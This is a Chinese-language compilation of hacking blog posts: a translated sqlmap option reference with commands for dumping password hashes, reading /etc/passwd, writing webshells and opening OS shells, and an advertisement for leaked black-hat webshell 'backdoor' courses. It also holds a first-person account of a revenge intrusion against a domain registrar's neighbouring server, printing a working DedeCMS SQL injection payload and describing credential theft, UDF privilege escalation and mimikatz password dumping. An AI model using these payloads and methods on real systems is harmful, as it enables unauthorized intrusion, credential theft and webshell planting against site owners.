–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件 (mssql xp_shell)
–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
#示例:
sqlmap -r “c:\request.txt” -p id –dbms mysql –file-dest “e:\php\htdocs\dvwa\inc\include\1.php” –file-write “f:\webshell\1112.php”使用shell命令:
sqlmap -r “c:\tools\request.txt” -p id –dms mysql –os-shell
接下来指定网站可写目录:
“E:\php\htdocs\dvwa”#注:mysql不支持列目录,仅支持读取单个文件。sqlserver可以列目录,不能读写文件,但需要一个(xp_dirtree函数)
sqlmap详细命令:
- –is-dba 当前用户权限(是否为root权限)
- –dbs 所有数据库
- –current-db 网站当前数据库
- –users 所有数据库用户
- –current-user 当前数据库用户
- –random-agent 构造随机user-agent
- –passwords 数据库密码
- –proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理
- –time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)
——————————————————————————————————
Options(选项):
- –version 显示程序的版本号并退出
- -h, –help 显示此帮助消息并退出
- -v VERBOSE 详细级别:0-6(默认为1)
Target(目标):
以下至少需要设置其中一个选项,设置目标URL。
- -d DIRECT 直接连接到数据库。
- -u URL, –url=URL 目标URL。
- -l LIST 从Burp或WebScarab代理的日志中解析目标。
- -r REQUESTFILE 从一个文件中载入HTTP请求。
- -g GOOGLEDORK 处理Google dork的结果作为目标URL。
- -c CONFIGFILE 从INI配置文件中加载选项。
Request(请求):
这些选项可以用来指定如何连接到目标URL。
- –data=DATA 通过POST发送的数据字符串
- –cookie=COOKIE HTTP Cookie头
- –cookie-urlencode URL 编码生成的cookie注入
- –drop-set-cookie 忽略响应的Set – Cookie头信息
- –user-agent=AGENT 指定 HTTP User – Agent头
- –random-agent 使用随机选定的HTTP User – Agent头
- –referer=REFERER 指定 HTTP Referer头
- –headers=HEADERS 换行分开,加入其他的HTTP头
- –auth-type=ATYPE HTTP身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)
- –auth-cred=ACRED HTTP身份验证凭据(用户名:密码)
- –auth-cert=ACERT HTTP认证证书(key_file,cert_file)
- –proxy=PROXY 使用HTTP代理连接到目标URL
- –proxy-cred=PCRED HTTP代理身份验证凭据(用户名:密码)
- –ignore-proxy 忽略系统默认的HTTP代理
- –delay=DELAY 在每个HTTP请求之间的延迟时间,单位为秒
- –timeout=TIMEOUT 等待连接超时的时间(默认为30秒)
- –retries=RETRIES 连接超时后重新连接的时间(默认3)
- –scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式
- –safe-url=SAFURL 在测试过程中经常访问的url地址
- –safe-freq=SAFREQ 两次访问之间测试请求,给出安全的URL
Enumeration(枚举):
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行
您自己的SQL语句。- -b, –banner 检索数据库管理系统的标识
- –current-user 检索数据库管理系统当前用户
- –current-db 检索数据库管理系统当前数据库
- –is-dba 检测DBMS当前用户是否DBA
- –users 枚举数据库管理系统用户
- –passwords 枚举数据库管理系统用户密码哈希
- –privileges 枚举数据库管理系统用户的权限
- –roles 枚举数据库管理系统用户的角色
- –dbs 枚举数据库管理系统数据库
- -D DBname 要进行枚举的指定数据库名
- -T TBLname 要进行枚举的指定数据库表(如:-T tablename –columns)
- –tables 枚举的DBMS数据库中的表
- –columns 枚举DBMS数据库表列
- –dump 转储数据库管理系统的数据库中的表项
- –dump-all 转储所有的DBMS数据库表中的条目
- –search 搜索列(S),表(S)和/或数据库名称(S)
- -C COL 要进行枚举的数据库列
- -U USER 用来进行枚举的数据库用户
- –exclude-sysdbs 枚举表时排除系统数据库
- –start=LIMITSTART 第一个查询输出进入检索
- –stop=LIMITSTOP 最后查询的输出进入检索
- –first=FIRSTCHAR 第一个查询输出字的字符检索
- –last=LASTCHAR 最后查询的输出字字符检索
- –sql-query=QUERY 要执行的SQL语句
- –sql-shell 提示交互式SQL的shell
Optimization(优化):
这些选项可用于优化SqlMap的性能。
- -o 开启所有优化开关
- –predict-output 预测常见的查询输出
- –keep-alive 使用持久的HTTP(S)连接
- –null-connection 从没有实际的HTTP响应体中检索页面长度
- –threads=THREADS 最大的HTTP(S)请求并发量(默认为1)
Injection(注入):
这些选项可以用来指定测试哪些参数, 提供自定义的注入payloads和可选篡改脚本。
- -p TESTPARAMETER 可测试的参数(S)
- –dbms=DBMS 强制后端的DBMS为此值
- –os=OS 强制后端的DBMS操作系统为这个值
- –prefix=PREFIX 注入payload字符串前缀
- –suffix=SUFFIX 注入payload字符串后缀
- –tamper=TAMPER 使用给定的脚本(S)篡改注入数据
Detection(检测):
这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容。
- –level=LEVEL 执行测试的等级(1-5,默认为1)
- –risk=RISK 执行测试的风险(0-3,默认为1)
- –string=STRING 查询时有效时在页面匹配字符串
- –regexp=REGEXP 查询时有效时在页面匹配正则表达式
- –text-only 仅基于在文本内容比较网页
Techniques(技巧):
这些选项可用于调整具体的SQL注入测试。
- –technique=TECH SQL注入技术测试(默认BEUST)
- –time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)
- –union-cols=UCOLS 定列范围用于测试UNION查询注入
- –union-char=UCHAR 用于暴力猜解列数的字符
Fingerprint(指纹):
- -f, –fingerprint 执行检查广泛的DBMS版本指纹
Brute force(蛮力):
这些选项可以被用来运行蛮力检查。
- –common-tables 检查存在共同表
- –common-columns 检查存在共同列
User-defined function injection(用户自定义函数注入):
这些选项可以用来创建用户自定义函数。–udf-inject 注入用户自定义函数
–shared-lib=SHLIB 共享库的本地路径File system access(访问文件系统):
这些选项可以被用来访问后端数据库管理系统的底层文件系统。
- –file-read=RFILE 从后端的数据库管理系统文件系统读取文件
- –file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件
- –file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
Operating system access(操作系统访问):
这些选项可以用于访问后端数据库管理系统的底层操作系统。
- –os-cmd=OSCMD 执行操作系统命令
- –os-shell 交互式的操作系统的shell
- –os-pwn 获取一个OOB shell,meterpreter或VNC
- –os-smbrelay 一键获取一个OOB shell,meterpreter或VNC
- –os-bof 存储过程缓冲区溢出利用
- –priv-esc 数据库进程用户权限提升
- –msf-path=MSFPATH Metasploit Framework本地的安装路径
- –tmp-path=TMPPATH 远程临时文件目录的绝对路径
Windows注册表访问:
这些选项可以被用来访问后端数据库管理系统Windows注册表。
- –reg-read 读一个Windows注册表项值
- –reg-add 写一个Windows注册表项值数据
- –reg-del 删除Windows注册表键值
- –reg-key=REGKEY Windows注册表键
- –reg-value=REGVAL Windows注册表项值
- –reg-data=REGDATA Windows注册表键值数据
- –reg-type=REGTYPE Windows注册表项值类型
这些选项可以用来设置一些一般的工作参数。
- -t TRAFFICFILE 记录所有HTTP流量到一个文本文件中
- -s SESSIONFILE 保存和恢复检索会话文件的所有数据
- –flush-session 刷新当前目标的会话文件
- –fresh-queries 忽略在会话文件中存储的查询结果
- –eta 显示每个输出的预计到达时间
- –update 更新SqlMap
- –save file保存选项到INI配置文件
- –batch 从不询问用户输入,使用所有默认配置。
Miscellaneous(杂项):
- –beep 发现SQL注入时提醒
- –check-payload IDS对注入payloads的检测测试
- –cleanup SqlMap具体的UDF和表清理DBMS
- –forms 对目标URL的解析和测试形式
- –gpage=GOOGLEPAGE 从指定的页码使用谷歌dork结果
- –page-rank Google dork结果显示网页排名(PR)
- –parse-errors 从响应页面解析数据库管理系统的错误消息
- –replicate 复制转储的数据到一个sqlite3数据库
- –tor 使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址
- –wizard 给初级用户的简单向导界面
价值万元黑帽就业内部教程泄露 渗透测试
内容:
众所周知黑帽盒子内部以后门程序出名,此套系列课程是内部培训思路及方法的教程,价值不可估量。
此系列课程看完后绝对颠覆你的价值观和世界观。绝对值得收藏!目前下载链接还有效,大家记得及时下载!
内部项目零-前言 链接: http://pan.baidu.com/s/1o6zTbMq 密码: tpw8
内部项目一-后门程序是什么 链接: http://pan.baidu.com/s/1gdHItaF 密码: pe7c
内部项目二-养好自己的箱子链接: http://pan.baidu.com/s/1kTnNShx 密码: nt94
内部项目三-大数据如何处理 链接: http://pan.baidu.com/s/1qW9YxB2 密码: ijb4
第四第五因需要注册码,所以改成演示的视频。
内部项目四-xise菜刀后门箱子 链接: http://pan.baidu.com/s/1qW9UDGg 密码: ua48
内部项目五-红色中国菜刀webshell箱子 链接: http://pan.baidu.com/s/1jG8eWwI 密码: 25my
内部项目六(一)谈盈利,团队.rar 链接: http://pan.baidu.com/s/1qifuu 密码: n7gp
内部项目六(二)谈盈利,团队.rar 链接: http://pan.baidu.com/s/1hq76QUC 密码: ikfe
内部项目七-上网和资金安全.rar 链接: http://pan.baidu.com/s/1kTiynLP 密码: d3kr
内部项目八-养站技巧.rar 链接: http://pan.baidu.com/s/1hqrrN4C 密码: mq6n
等等 .. 陆续还有很多视频没泄露出来。此福利共享给大家
下面给出一个备份的汇总链接地址,你也可以选择这个直接保存到自己网盘观看,同时后面更新的也会在这个文件夹内分享:链接: http://pan.baidu.com/s/1nt4ER0l 密码: eraa
注:原文出自暗月博客,http://www.moonsec.com/post-582.html
笔记:SQLMAP常用参数讲解 渗透测试
sqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数据库类型
sqlmap -u “http://url/news?id=1″ –users #列数据库用户
sqlmap -u “http://url/news?id=1″ –dbs#列数据库
sqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码
sqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码
sqlmap -u “http://url/news?id=1″ –dump -C “password,user,id” -T “tablename”-D “db_name”
–start 1 –stop 20 #列出指定字段,列出20 条
sqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表
sqlmap -u “http://url/news?id=1″ –privileges #查看权限
sqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色
sqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!)
sqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表
sqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录
sqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入
sqlmap -u “http://url/news?id=1″ -b #获取banner信息
sqlmap -u “http://url/news?id=1″ –data “id=3″#post注入
sqlmap -u “http://url/news?id=1″ -v 1 -f #指纹判别数据库类型
sqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入
sqlmap -u “http://url/news?id=1″ –string”STRING_ON_TRUE_PAGE”# 指 定关键词
sqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令
sqlmap -u “http://url/news?id=1″ –file /etc/passwd
sqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令
sqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell
sqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表
sqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度
sqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度
***********高级用法*************
-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入
sqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段 需保证google.com能正常访问
–technique 测试指定注入类型\使用的技术
不加参数默认测试所有注入技术
• B: 基于布尔的SQL 盲注
• E: 基于显错sql 注入
• U: 基于UNION 注入
• S: 叠层sql 注入
• T: 基于时间盲注
–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char()
–tamper 插件所在目录
\sqlmap-dev\tamper
sqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users –smart 智 能
level 执行测试等级 攻击实例:
Sqlmap -u “http://url/news?id=1&Submit=Submit”
–cookie=”PHPSESSID=41aa833e6d0d
28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user
–password
参考文档:http://sqlmap.sourceforge.net/doc/README.html
***********安装最新版本*************
ubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版
sudo svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件
sudo vim /home/当前用户/.bashrc
#任意位置加上:
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效
如果想对所有用户有效 可设置全局 编辑下面的文件
vim /etc/profile
同样加上:
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效
******************windows 7 (x64) sqlmap install (SVN)************
http://www.python.org/getit/ 安装python
http://www.sliksvn.com/en/download 安装windows svn client
svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
安装sqlmap
*修改环境变量
–version 显示程序的版本号并退出
-h, –help 显示此帮助消息并退出
-v VERBOSE 详细级别:0-6(默认为1)
Target(目标): 以下至少需要设置其中一个选项,设置目标URL。
-d DIRECT 直接连接到数据库。
-u URL, –url=URL 目标URL。
-l LIST 从Burp 或WebScarab 代理的日志中解析目标。
-r REQUESTFILE 从一个文件中载入HTTP 请求。
-g GOOGLEDORK 处理Google dork 的结果作为目标URL。
-c CONFIGFILE 从INI 配置文件中加载选项。
Request(请求)::
这些选项可以用来指定如何连接到目标URL。
–data=DATA 通过POST 发送的数据字符串
–cookie=COOKIE HTTP Cookie 头
–cookie-urlencode URL 编码生成的cookie 注入
–drop-set-cookie 忽略响应的Set –Cookie 头信息
–user-agent=AGENT 指定 HTTP User –Agent 头
–random-agent 使用随机选定的HTTP User –Agent 头
–referer=REFERER 指定 HTTP Referer 头
–headers=HEADERS 换行分开,加入其他的HTTP 头
–auth-type=ATYPE HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)
–auth-cred=ACRED HTTP 身份验证凭据(用户名:密码)
–auth-cert=ACERT HTTP 认证证书(key_file,cert_file)
–proxy=PROXY 使用HTTP 代理连接到目标URL
–proxy-cred=PCRED HTTP 代理身份验证凭据(用户名:密码)
–ignore-proxy 忽略系统默认的HTTP 代理
–delay=DELAY 在每个HTTP 请求之间的延迟时间,单位为秒
–timeout=TIMEOUT 等待连接超时的时间(默认为30 秒)
–retries=RETRIES 连接超时后重新连接的时间(默认3)
–scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式
–safe-url=SAFURL 在测试过程中经常访问的url 地址
–safe-freq=SAFREQ 两次访问之间测试请求,给出安全的URL
Optimization(优化): 这些选项可用于优化SqlMap 的性能。
-o 开启所有优化开关
–predict-output 预测常见的查询输出
–keep-alive 使用持久的HTTP(S)连接
–null-connection 从没有实际的HTTP 响应体中检索页面长度
–threads=THREADS 最大的HTTP(S)请求并发量(默认为1)
Injection(注入):
这些选项可以用来指定测试哪些参数, 提供自定义的注入payloads 和可选篡改脚本。
-p TESTPARAMETER 可测试的参数(S)
–dbms=DBMS 强制后端的DBMS 为此值
–os=OS 强制后端的DBMS 操作系统为这个值
–prefix=PREFIX 注入payload 字符串前缀
–suffix=SUFFIX 注入 payload 字符串后缀
–tamper=TAMPER 使用给定的脚本(S)篡改注入数据
Detection(检测):
这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。
–level=LEVEL 执行测试的等级(1-5,默认为1)
–risk=RISK 执行测试的风险(0-3,默认为1)
–string=STRING 查询时有效时在页面匹配字符串
–regexp=REGEXP 查询时有效时在页面匹配正则表达式
–text-only 仅基于在文本内容比较网页
Techniques(技巧): 这些选项可用于调整具体的SQL 注入测试。
–technique=TECH SQL 注入技术测试(默认BEUST)
–tiime-sec=TIMESEC DBMS 响应的延迟时间(默认为5 秒)
–union-cols=UCOLS 定列范围用于测试UNION 查询注入
–union-char=UCHAR 用于暴力猜解列数的字符
Fingerprint(指纹):
-f, –fingerprint 执行检查广泛的DBMS 版本指纹
Enumeration(枚举):
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。
-b, –banner 检索数据库管理系统的标识
–current-user 检索数据库管理系统当前用户
–current-db 检索数据库管理系统当前数据库
–is-dba 检测DBMS 当前用户是否DBA
–users 枚举数据库管理系统用户
–passwords 枚举数据库管理系统用户密码哈希
–privileges 枚举数据库管理系统用户的权限
–roles 枚举数据库管理系统用户的角色
–dbs 枚举数据库管理系统数据库
–tables 枚举的DBMS 数据库中的表
–columns 枚举DBMS 数据库表列
–dump 转储数据库管理系统的数据库中的表项
–dump-all 转储所有的DBMS 数据库表中的条目
–search 搜索列(S),表(S)和/或数据库名称(S)
-D DB 要进行枚举的数据库名
-T TBL 要进行枚举的数据库表
-C COL 要进行枚举的数据库列
-U USER 用来进行枚举的数据库用户
–exclude-sysdbs 枚举表时排除系统数据库
–start=LIMITSTART 第一个查询输出进入检索
–stop=LIMITSTOP 最后查询的输出进入检索
–first=FIRSTCHAR 第一个查询输出字的字符检索
–last=LASTCHAR 最后查询的输出字字符检索
–sql-query=QUERY 要执行的SQL 语句
–sql-shell 提示交互式SQL 的shell
Brute force(蛮力): 这些选项可以被用来运行蛮力检查。
–common-tables 检查存在共同表
–common-columns 检查存在共同列
User-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。
–udf-inject 注入用户自定义函数
–shared-lib=SHLIB 共享库的本地路径
File system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。
–file-read=RFILE 从后端的数据库管理系统文件系统读取文件
–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件
–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
Operating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。
–os-cmd=OSCMD 执行操作系统命令
–os-shell 交互式的操作系统的shell
–os-pwn 获取一个OOB shell,meterpreter 或VNC
–os-smbrelay 一键获取一个OOB shell,meterpreter 或VNC
–os-bof 存储过程缓冲区溢出利用
–priv-esc 数据库进程用户权限提升
–msf-path=MSFPATH Metasploit Framework 本地的安装路径
–tmp-path=TMPPATH 远程临时文件目录的绝对路径
Windows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。
–reg-read 读一个Windows 注册表项值
–reg-add 写一个Windows 注册表项值数据
–reg-del 删除Windows 注册表键值
–reg-key=REGKEY Windows 注册表键
–reg-value=REGVAL Windows 注册表项值
–reg-data=REGDATA Windows 注册表键值数据
–reg-type=REGTYPE Windows 注册表项值类型
General(一般): 这些选项可以用来设置一些一般的工作参数。
-t TRAFFICFILE 记录所有HTTP 流量到一个文本文件中
-s SESSIONFILE 保存和恢复检索会话文件的所有数据
–flush-session 刷新当前目标的会话文件
–fresh-queries 忽略在会话文件中存储的查询结果
–eta 显示每个输出的预计到达时间
–update 更新SqlMap
–save file 保存选项到INI 配置文件
–batch 从不询问用户输入,使用所有默认配置。
Miscellaneous(杂项):
–beep 发现SQL 注入时提醒
–check-payload IDS 对注入payloads 的检测测试
–cleanup SqlMap 具体的UDF 和表清理DBMS
–forms 对目标URL 的解析和测试形式
–gpage=GOOGLEPAGE 从指定的页码使用谷歌dork 结果
–page-rank Google dork 结果显示网页排名(PR)
–parse-errors 从响应页面解析数据库管理系统的错误消息
–replicate 复制转储的数据到一个sqlite3 数据库
–tor 使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址
–wizard 给初级用户的简单向导界面
arp劫持某域名注册商 渗透测试
前段时间朋友在做一个网站, 就在某域名商那注册了一个米, 但是三天两头的出问题
找客服客服态度还很差, 说是自己的网络问题, 尼玛dns都找不到能是网络问题么? 擦...
于是乎夜半时分就帮朋友教训教训这个坑爹的域名商~~~
先是探测了一些基本信息, web使用的IIS7.5, 服务器是windows 2008
整个网站是.net写的, 于是开始找常见的一些漏洞, 发现整个系统还是比较安全, 除了一个反射型的XSS以外
没有发现其他更有价值的东西, 参数似乎是全局就过滤了, 所以注射这条路基本上堵死了..
想了一会, 就是为了教训教训这个域名商, 所以只要达到教训的目的就行了, 所以并不是非得日下
把他域名搞了岂不更爽? 再不济给他来个arp劫持也不错, 呵呵
先查了下域名商的域名, 是在Godaddy注册的, whois隐藏了, 现在不都说什么大数据大数据嘛..
于是我就在一些公开的社工库里面查了下站长的qq, 发现都没有信息, 到这里就卡死了..
既然域名那里不能入手, 那就玩玩C段吧.. 说起来也好久没弄这些了.
先用御剑扫一发~ 发现C段的站还挺多的 - - 随便找了个windows2003服务器下手, 找到了一个dede
打开一看我就呆了, 这个站原来都被人搞过了, 主页挂上了某XX小组的黑页
既然别人能日下还改了主页说明这个站的站长似乎并没怎么打理网站, 顿觉有戏!
于是打开/data/admin/ver.txt看了下版本是20130911
这个版本看来还是比较老的了, 所以直接抄上前一段时间爆出来的织梦注入漏洞:
/plus/recommend.php?aid=1&_FILES[type][name]&_FILES[type][size]&_FILES[type][type]&_FILES[type][tmp_name]=aa\'and+char(@`'`)+/*!50000Union*/+/*!50000SeLect*/+1,2,3,concat(0x3C6162633E,group_concat(0x7C,userid,0x3a,pwd,0x7C),0x3C2F6162633E),5,6,7,8,9%20from%20`%23@__admin`%23");
成功爆出来了帐号和密码
密码倒是很简单, 一下就破出来了. 只不过后台路径被改过了, 于是直接上谷歌, site:xxx.com inurl:login.php
找到了后台就简单了, 一顿XXOO拿到了shell, 这个大家都会就不细说了, 打开dede的配置文件一看, 我擦竟然直接就是root...
于是上传了一个有UDF提权功能的大马, 但是每次导出dll后安装的时候都提示不行, 一想不会是被杀了吧..
这里想了半天, 突然想到把后缀改一下呢, 于是随便弄了一个后缀. 改成了xxx.7b, 一安装, 竟然成功了
为了安全起见没有直接添加用户, 传了一个某黑客用mimikatz改出来的webshell版读取密码
成功把密码读了出来
看了下注册表3389是打开了的, 于是直接上服务器开撸, 没想到直接给我弹了个什么中断连接
“猥琐”成功XSS某网站 渗透测试
因为需求,对一个网站进行检测
各种扫描无果
于是开始进行各种xss
注册会员开始
问答处~~~~~~~
不会饶,还请大牛赐教!!
不会饶,还请大牛赐教!!
最后各种翻,各种翻啊~~!!
然后就看到了
哈哈哈,很多获取IP的方式都能弄,包括ip38
那就是我们的大杀器
然后退出,再登录一遍
——————————————————
OK
目地达到
注:原文出自t00ls.只是觉得够猥琐!转载之-_-| 如果不允许就告诉我.